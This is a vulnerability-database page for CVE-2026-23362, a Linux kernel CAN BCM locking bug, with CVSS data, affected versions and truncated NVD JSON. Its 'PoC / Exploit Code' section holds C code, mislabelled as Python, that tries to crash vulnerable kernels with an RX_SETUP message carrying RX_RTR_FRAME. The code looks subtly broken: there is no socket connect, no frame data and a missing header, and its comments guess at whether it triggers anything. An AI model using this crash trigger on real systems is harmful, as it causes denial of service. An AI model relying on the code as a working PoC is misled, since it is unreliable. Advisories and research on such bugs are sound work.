Security Vulnerability Report
中文
CVE-2026-23362 CVSS 5.5 MEDIUM

CVE-2026-23362

Published: 2026-03-25 11:16:35
Last Modified: 2026-04-24 18:21:28
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: can: bcm: fix locking for bcm_op runtime updates Commit c2aba69d0c36 ("can: bcm: add locking for bcm_op runtime updates") added a locking for some variables that can be modified at runtime when updating the sending bcm_op with a new TX_SETUP command in bcm_tx_setup(). Usually the RX_SETUP only handles and filters incoming traffic with one exception: When the RX_RTR_FRAME flag is set a predefined CAN frame is sent when a specific RTR frame is received. Therefore the rx bcm_op uses bcm_can_tx() which uses the bcm_tx_lock that was only initialized in bcm_tx_setup(). Add the missing spin_lock_init() when allocating the bcm_op in bcm_rx_setup() to handle the RTR case properly.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (Mainline)
Linux Kernel (Stable branches prior to fix commits 0904037e713f, 70e951afad4c, etc.)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-23362: Linux Kernel CAN BCM Missing Lock Initialization * This code attempts to trigger the crash by creating a BCM socket * and sending an RX_SETUP command with the RX_RTR_FRAME flag. * Compilation: gcc -o poc_cve_2026_23362 poc_cve_2026_23362.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/bcm.h> int main() { int s; struct sockaddr_can addr; struct bcm_msg_head msg; // Create a CAN BCM socket s = socket(AF_CAN, SOCK_DGRAM, CAN_BCM); if (s < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; // 'can0' should be a valid CAN interface, but the crash happens during setup logic addr.can_ifindex = if_nametoindex("can0"); if (addr.can_ifindex == 0) { // If no physical CAN interface, loopback might be needed or vcan // For triggering the allocation bug, the index might matter less than the ioctl path printf("Interface not found, trying index 0 (any) or setup vcan first.\n"); // In many PoC scenarios for kernel bugs, just binding to the protocol is enough to trigger allocation paths } memset(&msg, 0, sizeof(msg)); msg.opcode = RX_SETUP; msg.flags = RX_RTR_FRAME; // The critical flag that triggers bcm_can_tx path msg.can_id = 0x123; msg.nframes = 1; // Send the malicious setup command if (write(s, &msg, sizeof(msg)) < 0) { perror("write"); close(s); return 1; } printf("Payload sent. If kernel is vulnerable, a crash may occur on RTR handling.\n"); // Keeping socket open to maintain bcm_op lifecycle pause(); close(s); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23362", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:35.220", "lastModified": "2026-04-24T18:21:28.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: bcm: fix locking for bcm_op runtime updates\n\nCommit c2aba69d0c36 (\"can: bcm: add locking for bcm_op runtime updates\")\nadded a locking for some variables that can be modified at runtime when\nupdating the sending bcm_op with a new TX_SETUP command in bcm_tx_setup().\n\nUsually the RX_SETUP only handles and filters incoming traffic with one\nexception: When the RX_RTR_FRAME flag is set a predefined CAN frame is\nsent when a specific RTR frame is received. Therefore the rx bcm_op uses\nbcm_can_tx() which uses the bcm_tx_lock that was only initialized in\nbcm_tx_setup(). Add the missing spin_lock_init() when allocating the\nbcm_op in bcm_rx_setup() to handle the RTR case properly."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ncan: bcm: corregir el bloqueo para las actualizaciones en tiempo de ejecución de bcm_op\n\nEl commit c2aba69d0c36 ('can: bcm: añadir bloqueo para las actualizaciones en tiempo de ejecución de bcm_op') añadió un bloqueo para algunas variables que pueden ser modificadas en tiempo de ejecución al actualizar el bcm_op de envío con un nuevo comando TX_SETUP en bcm_tx_setup().\n\nNormalmente, el RX_SETUP solo maneja y filtra el tráfico entrante con una excepción: Cuando la bandera RX_RTR_FRAME está establecida, se envía una trama CAN predefinida cuando se recibe una trama RTR específica. Por lo tanto, el bcm_op de rx usa bcm_can_tx() que usa el bcm_tx_lock que solo fue inicializado en bcm_tx_setup(). Añadir el spin_lock_init() faltante al asignar el bcm_op en bcm_rx_setup() para manejar el caso RTR correctamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.294", "versionEndExcluding": "5.5", "matchCriteriaId": "FBD5FA06-25ED-4FE0-8604-5BDB21C9E729"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.238", "versionEndExcluding": "5.10.253", "matchCriteriaId": "6A912012-AE04-49B5-94AE-E2993987B0A0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.185", "versionEndExcluding": "5.15.203", "matchCriteriaId": "F6ED5CCA-6E0F-40E1-AF6E-3A57BA54098B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.141", "versionEndExcluding": "6.1.167", "matchCriteriaId": "EDD1D8B2-20FE-40AF-A5EA-5169157150FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.93", "versionEndExcluding": "6.6.130", "matchCriteriaId": "17AE9DB4-4F5D-4FE8-918B-4F6A140B0F5F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.31", "versionEndExcluding": "6.12.77", "matchCriteriaId": "74174A81-0BA7-4DEF-A10F-237324F0939A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.14.9", "versionEndExcluding": "6.15", "matchCriteriaId": "2932EEA2-2EDB-4FE6-9BF4-C1F90FF22950"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "D191BA48-F88E-41E8-9D62-4614C423FFA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.15:-:*:*:*:*:*:*", "matchCriteriaId": "A1ECC65A-EE37-4479-8E99-4BB68A22A31F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:li ... (truncated)